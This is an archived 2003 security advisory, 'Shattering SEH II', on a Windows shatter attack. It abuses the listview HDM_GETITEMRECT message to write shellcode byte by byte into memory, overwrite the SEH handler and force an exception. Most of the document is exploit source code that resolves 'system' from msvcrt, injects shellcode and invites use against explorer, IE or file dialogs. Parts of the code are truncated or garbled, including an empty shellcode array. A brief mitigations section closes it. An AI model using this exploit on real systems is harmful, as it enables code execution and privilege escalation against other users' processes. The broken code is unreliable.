Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Windows :: bt746.txt

Shattering SEH II

moderator: I forgot the link :-)
= Shattering SEH II
= Originally posted: July 28, 2003

== Background ==

Following on from out previous post about overwriting SEH using messages;

The first post was considered more of a theoretical problem, as it was
based on manually sizing a column to a size, and then been able to
overwrite two bytes of a four byte critical address.

After doing some more research we realised that it was possible to;
- Systematically control the 'written' bytes
- Write our 'shellcode' byte by byte to a known fixed address
- Overwrite the full 4 bytes of a critical address

The following will briefly describe the how of this and its purpose is
to show how 'less obvious' messages have the potential to be dangerous.

== Detail ==

The RECT structure is defined as;
(From MSDN)
-    typedef struct _RECT {
-      LONG left;
-      LONG top;
-      LONG right;
-      LONG bottom;
-    } RECT, *PRECT;
(End MSDN)

When used with the HDM_GETITEMRECT message, memory is overwritten as;

AAAABBBBCCCCDDDD where A = Left, B = Top, C = Right, D = Bottem

By setting the width of the first column, we are in control of the left
value of the second column. We can use the least significant byte to
overwrite memory space byte by byte.

When the HDM_GETITEMRECT is called, memory will be overwritten as;

XAAABBBBCCCCDDDD where X is our 'controlled' byte.

By doing one write and then incrementing our write address, we are able
to write a string of controlled bytes to a controlled memory location.
This location could be program read/write data space, or something
global like TEB/PEB.

We can use this method to write our shellcode into a known writeable
address. Then the SEH handler is overwritten with the same address,
and after causing an exception the code is executed.

== Example Code ==

* shatterseh2.c
* Demonstrates the use of listview messages to;
*    - inject shellcode to known location
*    - overwrite 4 bytes of a critical memory address
* 3 Variables need to be set for proper execution.
*    - tWindow is the title of the programs main window
*    - sehHandler is the critical address to overwrite
*    - shellcodeaddr is the data space to inject the code
* The 'autofind' feature may not work against all programs.
* Insert your own blank lines for readability
* Try it out against any program with a listview.
*   eg: explorer, IE, any file open dialog
* Brett Moore [ ]
#include <windows.h>
#include <commctrl.h>
// Local Cmd Shellcode
BYTE exploit[] =
long hLVControl,hHdrControl;
char tWindow[]="Main Window Title";// The name of the main window
long sehHandler = 0x77edXXXX;      // Critical Address To Overwrite
long shellcodeaddr = 0x0045e000;   // Known Writeable Space Or Global Space
void doWrite(long tByte,long address);
void IterateWindows(long hWnd);
int main(int argc, char *argv[])
   long hWnd;
   HMODULE hMod;
   DWORD ProcAddr;
   printf("%% Playing with listview messages\n");
   // Find local procedure address
   hMod = LoadLibrary("msvcrt.dll");
   ProcAddr = (DWORD)GetProcAddress(hMod, "system");
   if(ProcAddr != 0)
      // And put it in our shellcode
      *(long *)&exploit[8] = ProcAddr;
   printf("+ Finding %s Window...\n",tWindow);
   hWnd = FindWindow(NULL,tWindow);
   if(hWnd == NULL)
      printf("+ Couldn't Find %s Window\n",tWindow);
      return 0;
   printf("+ Found Main Window At...0x%xh\n",hWnd);
   printf("+ Not Done...\n");
   return 0;
void doWrite(long tByte,long address)
0,MAKELPARAM(tByte, 0));
   SendMessage((HWND) hHdrControl,(UINT) HDM_GETITEMRECT,1,address);
void IterateWindows(long hWnd)
   long childhWnd,looper;
   childhWnd = GetNextWindow(hWnd,GW_CHILD);
   while (childhWnd != NULL)
      childhWnd = GetNextWindow(childhWnd ,GW_HWNDNEXT);
   hLVControl = hWnd;
   hHdrControl = SendMessage((HWND) hLVControl,(UINT) LVM_GETHEADER, 0,0);
   if(hHdrControl != NULL)
      // Found a Listview Window with a Header
      printf("+ Found listview window..0x%xh\n",hLVControl);
      printf("+ Found lvheader window..0x%xh\n",hHdrControl);
      // Inject shellcode to known address
      printf("+ Sending shellcode to...0x%xh\n",shellcodeaddr);
      for (looper=0;looper<sizeof(exploit);looper++)
         doWrite((long) exploit[looper],(shellcodeaddr + looper));
      // Overwrite SEH
      printf("+ Overwriting Top SEH....0x%xh\n",sehHandler);
      doWrite(((shellcodeaddr) & 0xff),sehHandler);
      doWrite(((shellcodeaddr >> 8) & 0xff),sehHandler+1);
      doWrite(((shellcodeaddr >> 16) & 0xff),sehHandler+2);
      doWrite(((shellcodeaddr >> 24) & 0xff),sehHandler+3);
      // Cause exception
      printf("+ Forcing Unhandled Exception\n");
      SendMessage((HWND) hHdrControl,(UINT) HDM_GETITEMRECT,0,1);
      printf("+ Done...\n");

== Example Vulnerable Programs ==

>From our testing, any interactive proccess that has an accesible
listview with more than one column is vulnerable.

== Solutions ==

See the iDEFENSE paper for some good solution examples.
- Limit the interactive system processes
- Filter the messages accepted by interactive system processes

== Credit ==

Brett Moore from

%-) Credits are in the machine. ka-ching.

== About == is a leader in intrusion testing and security
code review, and leads the world with SA-ISO, online ISO17799 compliance
management solution. is committed to security
research and development, and its team have previously identified a
number of vulnerabilities in public and private software vendors products.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH